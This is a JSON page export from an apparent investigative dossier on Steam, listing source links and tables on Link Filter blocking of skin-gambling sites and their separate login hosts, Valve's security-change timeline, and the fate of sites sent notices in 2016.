            "url": "https://edpb.europa.eu"
          },
          {
            "label": "disclosure-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "disclosure-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "page-level PDF measurements and method ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "“My Dog vs. Elite GDPR Lawyers”, 17 August 2026 ↗",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d"
          },
          {
            "label": "archived 2026-08-21 ↗",
            "url": "https://web.archive.org/web/20260821155801/https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d"
          },
          {
            "label": "Open the full visual catalogue and its source records online.",
            "url": "https://phishdestroy.io/steam_dossier/#exhibit-gallery-section"
          },
          {
            "label": "Excerpt from the GitHub issue ↗",
            "url": "https://github.com/ValveSoftware/steam-for-linux/issues/4521"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=GitHub&record=484"
          },
          {
            "label": "Open GitHub ↗",
            "url": "https://github.com/ValveSoftware/steam-for-linux/issues/4521"
          },
          {
            "label": "Excerpt from the GitHub issue ↗",
            "url": "https://github.com/ValveSoftware/steam-for-linux/issues/6459"
          },
          {
            "label": "archived 2026-04-19 ↗",
            "url": "https://web.archive.org/web/20260419051343/https://github.com/ValveSoftware/steam-for-linux/issues/6459"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=GitHub&record=467"
          },
          {
            "label": "Open GitHub ↗",
            "url": "https://github.com/ValveSoftware/steam-for-linux/issues/6459"
          },
          {
            "label": "archived 2026-04-19 ↗",
            "url": "https://web.archive.org/web/20260419051343/https://github.com/ValveSoftware/steam-for-linux/issues/6459"
          },
          {
            "label": "Excerpt from the GitHub issue ↗",
            "url": "https://github.com/ValveSoftware/Source-1-Games/issues/3857"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=GitHub&record=768"
          },
          {
            "label": "Open GitHub ↗",
            "url": "https://github.com/ValveSoftware/Source-1-Games/issues/3857"
          },
          {
            "label": "Excerpt from the Reddit post ↗",
            "url": "https://www.reddit.com/r/DotA2/comments/vt76ov/funds_stolen_through_steam_market_disappointed/"
          },
          {
            "label": "archived 2025-03-20 ↗",
            "url": "https://web.archive.org/web/20250320082450/https://www.reddit.com/r/DotA2/comments/vt76ov/funds_stolen_through_steam_market_disappointed/"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=Reddit&record=4533"
          },
          {
            "label": "Open Reddit ↗",
            "url": "https://www.reddit.com/r/DotA2/comments/vt76ov/funds_stolen_through_steam_market_disappointed/"
          },
          {
            "label": "archived 2025-03-20 ↗",
            "url": "https://web.archive.org/web/20250320082450/https://www.reddit.com/r/DotA2/comments/vt76ov/funds_stolen_through_steam_market_disappointed/"
          },
          {
            "label": "Excerpt from the Reddit post ↗",
            "url": "https://www.reddit.com/r/ohnePixel/comments/1hahqx2/permanently_banned_steam_account_without_a_clear/"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=Reddit&record=4766"
          },
          {
            "label": "Open Reddit ↗",
            "url": "https://www.reddit.com/r/ohnePixel/comments/1hahqx2/permanently_banned_steam_account_without_a_clear/"
          },
          {
            "label": "Excerpt from the Reddit post ↗",
            "url": "https://www.reddit.com/r/legaladvice/comments/1kipjde/got_10k_stollen_from_steam_inventory_due_to_steam/"
          },
          {
            "label": "Read saved record",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive?source=Reddit&record=4592"
          },
          {
            "label": "Open Reddit ↗",
            "url": "https://www.reddit.com/r/legaladvice/comments/1kipjde/got_10k_stollen_from_steam_inventory_due_to_steam/"
          },
          {
            "label": "Download the six records ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-evidence-records.json"
          },
          {
            "label": "Search the full archive ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "Build manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json"
          },
          {
            "label": "Exhibit V ↗",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "label": "Steam Subscriber Agreement § 4.C (current) ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-18 ↗",
            "url": "https://web.archive.org/web/20260918014700/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "ArchiSteamFarm FAQ",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "Source: GitHub wiki ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "Source ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "ASF FAQ ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "Exhibit V — the scale",
            "url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "label": "the commercial-use trap",
            "url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "label": "The full ban census ↗",
            "url": "https://phishdestroy.io/steam_dossier/enforcement_audit"
          },
          {
            "label": "Official JustArchi ASF FAQ wiki ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "ArchiSteamFarm repository ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181709/https://github.com/JustArchiNET/ArchiSteamFarm"
          },
          {
            "label": "Full exhibit The card economy: the process, the scale, the licence and who moderates it ↗ What a farm has to buy from Valve before it can produce a single card; the two lines of § 4.C that name card farming by its effects; why every way of cashing a card out breaches the licence Valve wrote while Valve charges a fee at the door; the enforcement record including the June 2025 VAC wave and chain-banning by shared phone number; and the Valve employee and community moderators found administering the card-trading and ban-list services around Steam.",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "label": "The ban census We didn't ask Valve how big the farm is. We counted it. ↗ 10,880,610 total accounts (limited and non-limited) read from ArchiSteamFarm's own Steam group, which the software auto-joins by default on first launch unless the user unchecks the group-join setting (capturing both commercial bot farms and regular players who left the default on). 88.97% carry no Steam ban of any kind; of the 11% that do, 99.8% are cosmetic community bans that never stop trading. Cross-checked against SteamRep, 67.77% of listed scammers walk free once anti-cheat bans are set aside. With registration-date, geography and survival breakdowns — the real scale, measured, not narrated.",
            "url": "https://phishdestroy.io/steam_dossier/enforcement_audit"
          },
          {
            "label": "Steam Trade Protection information ↗",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Valve privacy contact route ↗",
            "url": "https://store.steampowered.com/privacy_agreement/#8"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021648/https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "EDPB access guidelines, §§ 2, 4–6 ↗",
            "url": "https://www.edpb.europa.eu/system/files/2023-04/edpb_guidelines_202201_data_subject_rights_access_v2_en.pdf"
          },
          {
            "label": "GDPR Articles 12, 15, 77 ↗",
            "url": "https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "archived 2026-09-20 ↗",
            "url": "https://web.archive.org/web/20260920024236/https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "See the preserved ban-and-GDPR complaint →",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "store.steampowered.com/stats/support",
            "url": "https://web.archive.org/web/20260810154631/https://store.steampowered.com/stats/support"
          },
          {
            "label": "Listing measurements and hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/part2-measurements.json"
          },
          {
            "label": "Master CSV ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/TOTAL_VALVE_SCANDALS_MASTER_DB.csv"
          },
          {
            "label": "Searchable archive manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json"
          },
          {
            "label": "Inspect source records ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "17 October support collection",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals.html#collection-method"
          },
          {
            "label": "Recomputed counts and source-image hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/manifest.json"
          },
          {
            "label": "Full licence & disclaimer →",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Platform",
                "Link Filter: main",
                "Auth host",
                "Link Filter: auth host",
                "Auth host registered",
                "Source of observation",
                "Evidence file"
              ],
              [
                "Rollbit\nrollbit.com · reg. 2014-11-08",
                "BLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21",
                "rbsnin.com",
                "CLEAN\n2026-09-21 · raw HTML (no Wayback snapshot)",
                "2026-09-18\n09:34:52Z, Verisign RDAP",
                "Steam login-page notice, 2026-09-20",
                "rollbit.com.json"
              ],
              [
                "Skin.Club\nskin.club · reg. 2017-09-04",
                "BLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21",
                "sc-auth.net",
                "CLEAN\n2026-09-21 · Wayback 2026-09-21",
                "2019-04-02\nRDAP",
                "Steam login-page notice",
                "skin.club.json"
              ],
              [
                "Howl.GG\nhowl.gg · reg. 2017-03-16",
                "BLOCKED\n2026-09-18, 09-19, 09-21 · Wayback 2026-09-21",
                "howl.uno",
                "CLEAN\n2026-09-21 · Wayback 2026-09-21",
                "2026-08-11\nRDAP",
                "Live browser capture + supplied OpenID URL",
                "howl.gg.json"
              ],
              [
                "Duelbits\nduelbits.com · reg. 2020-02-03",
                "BLOCKED\n2026-09-21 · Wayback 2026-09-21",
                "switchflips.com",
                "CLEAN\n2026-09-21 · Wayback 2026-09-21",
                "2020-04-21\nRDAP",
                "Supplied OpenID URL",
                "duelbits.com.json"
              ],
              [
                "CSGOFast\ncsgofast.com · reg. 2015-03-27",
                "BLOCKED\n2026-09-19, 2026-09-21 · Wayback 2026-09-21",
                "steam-login.authtofast.com",
                "CLEAN\nauthtofast.com, 2026-09-21 · Wayback 2026-09-21",
                "2026-06-30\nauthtofast.com, RDAP",
                "Live browser capture + supplied OpenID URL",
                "csgofast.com.json"
              ],
              [
                "Farmskins\nfarmskins.com · reg. 2016-03-23",
                "BLOCKED\n2026-09-19, 2026-09-21 · raw HTML",
                "steam.kobal.cc",
                "CLEAN\n2026-09-19, 2026-09-21 · raw HTML",
                "2017-01-07\nkobal.cc, RDAP",
                "Live browser capture + supplied OpenID URL",
                "farmskins.com.json"
              ],
              [
                "CobaltLab\ncobaltlab.tech",
                "BLOCKED\n2026-09-21 · raw HTML",
                "cobaltauth.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2025-01-07\nRDAP",
                "Supplied OpenID URL",
                "cobaltlab.tech.json"
              ],
              [
                "CSGO.NET\ncsgo.net · reg. 2012-07-22",
                "BLOCKED\n2026-09-21 · raw HTML",
                "cn2.easylot.net",
                "CLEAN\n2026-09-21 · raw HTML",
                "2016-09-03\neasylot.net, RDAP",
                "Live browser capture",
                "csgo.net.json"
              ],
              [
                "GGDrop\nggdrop.com",
                "BLOCKED\n2026-09-21 · raw HTML",
                "ggauth.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2023-05-03\nRDAP",
                "Supplied OpenID URL",
                "ggdrop.com.json"
              ],
              [
                "RustChance\nrustchance.com",
                "BLOCKED\n2026-09-21 · raw HTML",
                "hgfuihd.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2019-01-27\nRDAP",
                "Supplied OpenID URL",
                "rustchance.com.json"
              ],
              [
                "Skin.Fans\nskin.fans",
                "BLOCKED\n2026-09-21 · raw HTML",
                "auth.skinfans.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2018-07-16\nskinfans.com, RDAP",
                "Supplied OpenID URL",
                "skin.fans.json"
              ],
              [
                "Skinport\nskinport.com · reg. 2018-09-05",
                "BLOCKED\n2026-09-21 · raw HTML",
                "skinport.app",
                "CLEAN\n2026-09-21 · raw HTML",
                "2020-06-20\nRDAP",
                "Live browser capture + supplied OpenID URL",
                "skinport.com.json"
              ],
              [
                "Skins.Cash\nskins.cash",
                "BLOCKED\n2026-09-21 · raw HTML",
                "skinscash.live",
                "CLEAN\n2026-09-21 · raw HTML",
                "2019-12-05\nRDAP",
                "Supplied OpenID URL",
                "skins.cash.json"
              ],
              [
                "TF2Hunt\ntf2hunt.com · reg. 2018-01-13",
                "BLOCKED\n2026-09-21 · raw HTML",
                "rstspcl.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2020-08-08\nRDAP",
                "Live browser capture + supplied OpenID URL",
                "tf2hunt.com.json"
              ],
              [
                "CSGOGem\ncsgogem.com · reg. 2016-10-16",
                "BLOCKED\n2026-09-22 · raw HTML",
                "api.csgem.com\ncsgem.com — separate registrable domain",
                "CLEAN\n2026-09-22 · raw HTML",
                "2014-03-08\ncsgem.com, RDAP — oldest in register",
                "Manual collection + Link Filter capture",
                "linkfilter-2026-09-22.json"
              ],
              [
                "Gamdom\ngamdom.com · reg. 2016-07-29",
                "BLOCKED\n2026-09-22 · raw HTML",
                "login.gambldom.com\ngambldom.com — one letter off the brand",
                "CLEAN\n2026-09-22 · raw HTML",
                "2017-09-24\ngambldom.com, RDAP",
                "Manual collection + Link Filter capture",
                "linkfilter-2026-09-22.json"
              ],
              [
                "12CS\n12cs.fail · reg. 2026-03-24",
                "BLOCKED\n2026-09-22 · raw HTML",
                "fail.games",
                "CLEAN\n2026-09-22 · raw HTML",
                "2021-08-24\nfail.games, RDAP",
                "Manual collection + Link Filter capture",
                "linkfilter-2026-09-22.json"
              ],
              [
                "CSGOEmpire\ncsgoempire.com · reg. 2015-06-10",
                "CLEAN\n2026-09-19, 2026-09-21 · Wayback 2026-09-21",
                "csgoempirelogin4.com\none of ten numbered domains login1–10",
                "CLEAN\n2026-09-21 · Wayback 2026-09-21",
                "2020-07-20\n05:49:17Z, Verisign RDAP",
                "Live browser capture",
                "csgoempire.com.json"
              ],
              [
                "CS.MONEY\ncs.money",
                "CLEAN\n2026-09-21 · raw HTML",
                "auth.dota.trade",
                "CLEAN\n2026-09-21 · raw HTML",
                "2016-07-15\ndota.trade, RDAP",
                "Steam login-page notice",
                "cs.money.json"
              ],
              [
                "CSFloat\ncsfloat.com · reg. 2021-07-11",
                "CLEAN\n2026-09-21 · raw HTML",
                "csgofloat.com\noperator's former brand domain; separate registrable domain, not an evasion indicator",
                "CLEAN\n2026-09-21 · raw HTML",
                "2015-09-29\nRDAP",
                "Live browser capture",
                "csfloat.com.json"
              ],
              [
                "G4Skins\ng4skins.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "auth.g4s.to",
                "CLEAN\n2026-09-21 · raw HTML",
                "2021-05-30\ng4s.to, RDAP",
                "Supplied OpenID URL",
                "g4skins.com.json"
              ],
              [
                "Juice.GG\njuice.gg",
                "CLEAN\n2026-09-21 · raw HTML",
                "letmeinjuice.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2024-04-15\nRDAP",
                "Supplied OpenID URL",
                "juice.gg.json"
              ],
              [
                "Market.CSGO\nmarket.csgo.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "dota2.net",
                "CLEAN\n2026-09-21 · raw HTML",
                "2011-10-29\nRDAP",
                "Live browser capture + supplied OpenID URL",
                "market.csgo.com.json"
              ],
              [
                "Rust.TM\nrust.tm",
                "CLEAN\n2026-09-21 · raw HTML",
                "dota2.net",
                "CLEAN\n2026-09-21 · raw HTML",
                "2011-10-29\nRDAP",
                "Supplied OpenID URL",
                "rust.tm.json"
              ],
              [
                "CSGOLounge\ncsgolounge.com · reg. 2013-08-14",
                "CLEAN\n2026-09-22 · raw HTML",
                "dota2.net\nthird front-end on this auth host",
                "CLEAN\n2026-09-22 · raw HTML",
                "2011-10-29\ndota2.net, RDAP",
                "Manual collection + Link Filter capture",
                "linkfilter-2026-09-22.json"
              ],
              [
                "Dota2Lounge\ndota2lounge.com · reg. 2012-08-10",
                "CLEAN\n2026-09-22 · raw HTML",
                "dota2.net\nfourth front-end on this auth host",
                "CLEAN\n2026-09-22 · raw HTML",
                "2011-10-29\ndota2.net, RDAP",
                "Manual collection + Link Filter capture",
                "linkfilter-2026-09-22.json"
              ],
              [
                "SkinBaron\nskinbaron.de",
                "CLEAN\n2026-09-21 · raw HTML",
                "skinbaron.com\nsame brand, different TLD",
                "CLEAN\n2026-09-21 · raw HTML",
                "2015-12-22\nRDAP",
                "Supplied OpenID URL",
                "skinbaron.de.json"
              ],
              [
                "TF2Royal\ntf2royal.com · reg. 2022-08-17",
                "CLEAN\n2026-09-21 · raw HTML",
                "tf2auth.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2021-07-27\nRDAP",
                "Live browser capture + supplied OpenID URL",
                "tf2royal.com.json"
              ],
              [
                "Tradeit\ntradeit.gg",
                "CLEAN\n2026-09-21 · raw HTML",
                "connect-tradeit.com",
                "CLEAN\n2026-09-21 · raw HTML",
                "2022-02-23\nRDAP",
                "Supplied OpenID URL",
                "tradeit.gg.json"
              ],
              [
                "Upgrader\nupgrader.pro",
                "CLEAN\n2026-09-21 · raw HTML",
                "upgauth.space",
                "CLEAN\n2026-09-21 · raw HTML",
                "2026-08-14\nRDAP",
                "Supplied OpenID URL",
                "upgrader.pro.json"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "Steam Link Filter responses · percentage of all hosts in each list",
            "rows": [
              [
                "List",
                "Tested hosts",
                "Blocked",
                "Blocked %",
                "Ordinary notice"
              ],
              [
                "Steam / Discord feeds",
                "36,724",
                "1,759",
                "4.79%",
                "34,965"
              ],
              [
                "PhishDestroy · community + main list",
                "1,086,734",
                "4,010",
                "0.37%",
                "1,082,629"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Date",
                "Valve Action",
                "Affected openid.return_to path?"
              ],
              [
                "July 2016",
                "Public statement of 13 July 2016; counsel's notices to ~23 named sites (press, 21 July 2016); >40 sites contacted per Valve's October 2016 letter to WSGC",
                "No. Notices and the Link Filter act on operators and links; the OpenID request path was not changed."
              ],
              [
                "2017",
                "Closure of IEconItems_730/GetPlayerItems (according to CSFloat's engineering account; no Valve changelog located)",
                "No. Affected public item-history visibility. OpenID authentication was not modified."
              ],
              [
                "2018-03-29",
                "CS:GO 7-day trade lock announced (blog.counter-strike.net)",
                "No. Slowed item movement; the OpenID request path was not changed."
              ],
              [
                "2022-05-10",
                "Trade-cancellation endpoints removed from the public Web API (user-detected; no Valve changelog — node-steam-tradeoffer-manager #325)",
                "No. Closed the offer-swap tooling; OpenID authentication was not modified."
              ],
              [
                "2023-12-04",
                "API-key creation now requires mobile confirmation (steamcommunity.com/dev/apikey; no changelog)",
                "No. Protected the key endpoint; the auth hosts documented here were not affected."
              ],
              [
                "2026-09-19 / 09-21",
                "Steam Link Filter state as observed by the authors",
                "No. 14 main domains returned a block in the saved 2026-09-21 recheck — 26 split pairs in the register by 2026-09-22 — while the proxy carrying each login kept running."
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "Published external security requirements, with their dates, set against the date the Steam Web API acquired the equivalent control",
            "rows": [
              [
                "The published standard, and the date it took effect",
                "The Steam Web API on the same question"
              ],
              [
                "Scoped authorisationOAuth 2.0 — RFC 6749, October 2012. Section 3.3 defines scope so a client receives only the access it asks for. It has been the default of every major platform API since.",
                "Granular scopes arrived on 16 January 2026.Before that a single Steam Web API key carried full read and write over the account's trades regardless of why it was issued. Thirteen years and three months after the specification that defines the control."
              ],
              [
                "A key is not an authorisationGoogle's own Cloud documentation: A standard API key doesn't authenticate a principal, and for APIs that create or manage resources, don't use authorization keys in production.",
                "The Steam Web API key was exactly that.A bearer string, issued to an account, sufficient on its own to read the inventory, cancel a pending trade and send a new one. No principal was authenticated at the point of use."
              ],
              [
                "Multi-factor authentication on privileged accessPCI DSS 3.2, requirement 8.3 — mandatory from 1 February 2018 for all non-console administrative and all remote access to the cardholder data environment. Apple then required two-factor authentication of every Developer Program account holder from 27 February 2019: developers with the Account Holder role in a developer program will need to enable two-factor authentication to sign in.",
                "A second factor was required to create an API key from 4 December 2023.Until then a stolen session cookie was enough, with no prompt on the account holder's phone and no notification afterwards. Four years and nine months after Apple made Valve itself use a second factor merely to sign in to a developer portal."
              ],
              [
                "Credential lifecycle and revocationTwitch requires of every third-party application: Your app must validate the OAuth token when it starts and on an hourly basis thereafter, and states that it audits for applications that do not. Its legacy v5 API was retired outright on 28 February 2022 on a published schedule.",
                "No published key-lifecycle record.The 2023 change protected the creation endpoint. No Valve statement located with it addresses keys already registered, and no changelog accompanied the change at all. Whether keys created before it were invalidated cannot be established from public data — which is the question a data subject would need answered to know whether a key created on their account years earlier is still live."
              ]
            ]
          },
          {
            "id": "table-5",
            "caption": "",
            "rows": [
              [
                "Date",
                "Valve change",
                "Announced?",
                "What it closed",
                "Lag: mechanism public → fix",
                "Source"
              ],
              [
                "2026-09-01",
                "Automated Suspicious Chat Flagging",
                "Yes",
                "Dangerous links / patterns in group chats",
                "—",
                "news ↗"
              ],
              [
                "2026-01-16",
                "Steamworks Web API granular scopes",
                "Yes",
                "Least-privilege scopes for developer keys",
                "—",
                "announcement ↗"
              ],
              [
                "2025-07-15",
                "CS2 Trade Protection & reversal window",
                "Yes",
                "Nothing. Not a root-cause security fix. Support-side account recovery access remains untouched. Triggering reversal inflicts an automatic 30-day trade lockout (Skinvault ↗), while cash-trading shock caused a $104M (-25%) 24h market cap plunge (CSMarketCap ↗). In 2026, timers became per-item (Skin.land ↗).",
                "—",
                "FAQ ↗"
              ],
              [
                "2025-05-14",
                "Account Security Announcement",
                "Yes",
                "Stealer / session-hijack guidance",
                "—",
                "announcement ↗"
              ],
              [
                "2024-10-02",
                "CS2 'The Armory' 7-day hold",
                "Yes",
                "Hold on trade/market for Armory items",
                "—",
                "announcement ↗"
              ],
              [
                "2024-09-18",
                "New-device login trade restriction",
                "Yes",
                "2–7 day trade lock on new devices",
                "—",
                "FAQ ↗"
              ],
              [
                "2024-02-14",
                "Profile name & avatar change hold",
                "Yes",
                "2–4 h cooldown on trades after rename",
                "—",
                "post ↗"
              ],
              [
                "2023-12-04",
                "Mobile confirmation for API keys",
                "No changelog",
                "Silent cookie-only key registration",
                "≈6 years after the 2017-era panels",
                "dev page ↗"
              ],
              [
                "2023-10-24",
                "SMS MFA for game build publications",
                "Yes",
                "Steamworks build publishing",
                "—",
                "announcement ↗"
              ],
              [
                "2023-07-12",
                "Custom biography content warning",
                "Yes",
                "Phishing links in bios",
                "—",
                "forum ↗"
              ],
              [
                "2023-01-25",
                "Profile {LINK REMOVED} & cooldown",
                "Yes",
                "Links in profile text",
                "—",
                "FAQ ↗"
              ],
              [
                "2022-10-24",
                "Login overhaul & cookie truncation",
                "No changelog",
                "Infinite stolen sessions",
                "— (IAuthenticationService token migration)",
                "news ↗"
              ],
              [
                "2022-10-12",
                "Mobile App 3.0 QR login",
                "Yes",
                "Session deauthorisation panel",
                "—",
                "news ↗"
              ],
              [
                "2022-05-10",
                "Trade-cancellation endpoints removed",
                "No changelog",
                "Offer-swap (cancel & re-send)",
                "≈5 years after the 2017-era panels",
                "issue #325 ↗"
              ],
              [
                "2020-05-25",
                "Dota 2 7-day trade lock",
                "Yes",
                "Fast item flipping",
                "—",
                "blog ↗"
              ],
              [
                "2018-03-29",
                "CS:GO 7-day trade lock",
                "Yes",
                "Instant bot laundering",
                "≈20 months after the July 2016 statement",
                "blog ↗ archived 2025-02-26 ↗"
              ]
            ]
          },
          {
            "id": "table-6",
            "caption": "",
            "rows": [
              [
                "Platform / Domain",
                "July 2016 Notice",
                "Enforcement Outcome & Survival Status",
                "Recorded Verification / Primary Links"
              ],
              [
                "CSGOBig\ncsgobig.com",
                "10-Day Notice (Jul 2016)",
                "STILL LIVE IN 2026\nTemporarily paused, relaunched; authenticates via letmeinbig.com & csgobiglogin.com",
                "X: @csgobig ↗ · FB: csgobigofficial ↗"
              ],
              [
                "CSGO500\ncsgo500.com / 500.casino",
                "10-Day Notice (Jul 2016)",
                "STILL LIVE IN 2026\nRebranded into 500 Casino (Curaçao license #8048/JAZ2014-037), multi-million monthly turnover",
                "Live Platform (500.casino) ↗"
              ],
              [
                "CSGOFast\ncsgofast.com",
                "10-Day Notice (Jul 2016)",
                "STILL LIVE IN 2026\nActively operating roulette, crash, and jackpot via steam-login.authtofast.com",
                "Dossier Auth Audit ↗"
              ],
              [
                "CSGOLounge / Dota2Lounge\ncsgolounge.com / dota2lounge.com",
                "10-Day Notice (Jul 2016)",
                "STILL LIVE IN 2026\nPivoted to esports coin wagering and crypto betting; maintained continuous operation",
                "Live Platform ↗"
              ],
              [
                "CSGOCasino\ncsgocasino.net / csgocasino.gg",
                "10-Day Notice (Jul 2016)",
                "LIVE VIA SUCCESSOR (2026)\nDomain redirected; active successor portal operates under csgocasino.gg",
                "Successor Domain ↗"
              ],
              [
                "CSGOatse\ncsgoatse.com",
                "10-Day Notice (Jul 2016)",
                "SURVIVED 6 YEARS (ACTIVE TO 2022)\nContinued full gambling operations for six years following Valve's 10-day ultimatum",
                "X: @CSGOatsecom (Active to 2022) ↗"
              ],
              [
                "CSGOSweep\ncsgosweep.com",
                "10-Day Notice (Jul 2016)",
                "SURVIVED TO DEC 2017\nOperated publicly for 17 months after deadline",
                "X: CSGOSweep Status Dec 2017 ↗"
              ],
              [
                "CSGOWild\ncsgowild.com",
                "10-Day Notice (Jul 2016)",
                "SURVIVED TO DEC 2017\nPromoted by major influencers; ran for 1.5 years post-C&D before crypto migration",
                "X: @Wild (Active Dec 2017) ↗"
              ],
              [
                "CSGOPot\ncsgopot.com",
                "10-Day Notice (Jul 2016)",
                "SURVIVED TO SEPT 2017\nOperated high-stakes jackpot betting 14 months past notice",
                "X: @csgopot (Active Sep 2017) ↗"
              ],
              [
                "CSGODiamonds\ncsgodiamonds.com",
                "10-Day Notice (Jul 2016)",
                "SURVIVED TO MID 2017\nRan through 2017 despite admitted outcome tampering for sponsored streamers",
                "X: @csgodiamondscom (2017) ↗"
              ],
              [
                "CSGOLotto\ncsgolotto.com",
                "10-Day Notice (Jul 2016)",
                "CLOSED JULY 2016\nShut down under public scandal; target of federal FTC consent order",
                "FTC Consent Order (Docket C-4632) ↗"
              ],
              [
                "CSGODouble\ncsgodouble.com",
                "10-Day Notice (Jul 2016)",
                "CLOSED JULY 2016\nShut down voluntarily immediately after C&D publication",
                "X: @CSGODouble (Closed Jul 2016) ↗"
              ],
              [
                "CSGOMassive\ncsgomassive.com",
                "10-Day Notice (Jul 2016)",
                "CLOSED 2016\nCeased public operations in late 2016",
                "X: @csgo_massive ↗"
              ],
              [
                "CSGOStrong\ncsgostrong.com",
                "10-Day Notice (Jul 2016)",
                "CLOSED 2016\nCeased public operations in 2016",
                "FB: csgostrongfree ↗"
              ],
              [
                "Skins2\nskins2.com",
                "10-Day Notice (Jul 2016)",
                "CLOSED 2016\nCeased public operations in 2016",
                "FB: CSNCOM ↗"
              ]
            ]
          },
          {
            "id": "table-7",
            "caption": "",
            "rows": [
              [
                "Platform",
                "Monthly Traffic (Visits)",
                "Estimated Turnover / Volume",
                "Corporate Entity & Jurisdiction",
                "Key Regulatory Actions & Model"
              ],
              [
                "CSGOEmpire\ncsgoempire.com",
                "2.3M — 9.0M / mo\nAvg 6+ min duration; 80% direct",
                "$1.5B — $2.5B Annual Handle\n>1,000,000 P2P skin trades/mo; $6.4M active liquid order floor",
                "Moonrail Limited B.V. (Curaçao #148182)\nPayments: JHOLT LTD (Cyprus); Founder: \"Monarch\" (Ossi Ketola)",
                "Pioneered 0% fee P2P item trading; licensed Curaçao OGL/2024/1183/0869"
              ],
              [
                "CSGORoll\ncsgoroll.com",
                "2.74M — 3.5M / mo\nAvg 9m 23s duration; 16% bounce rate",
                "$1.0B — $2.0B Annual Handle\nEst. $100M–$200M annual corporate revenue from house edge",
                "Feral Holdings Limited\nHeadquartered in Belize City, Belize (Reg #171519)",
                "Banned by Australian ACMA (May 2023); sponsored tier-1 team G2 Esports with underage players"
              ],
              [
                "500 Casino (CSGO500)\n500.casino / csgo500.com",
                "220K — 425K / mo\n~105k unique monthly visitors",
                "$100k / week ($5.2M/yr) in Royales\nHigh-roller wagering requirement: $400 wager per $1 rakeback",
                "Perfect Storm B.V. (Curaçao #150536)\nCuraçao Gaming Control Board license OGL/2024/1354/0882",
                "Banned by Swedish Spelinspektionen (Nov 2023) for unlicensed targeting of Swedish players"
              ],
              [
                "CSGOBig\ncsgobig.com",
                "~169,600 / mo\nAvg duration 19m 12s; US primary",
                "Multi-Million Annual Volume\nMystery boxes, roulette, and case battles",
                "Operates via auxiliary proxy routing\nletmeinbig.com (reg 2023) & csgobiglogin.com",
                "Target of July 2016 C&D; relaunched with proxy auth architecture"
              ],
              [
                "CSGOFast\ncsgofast.com",
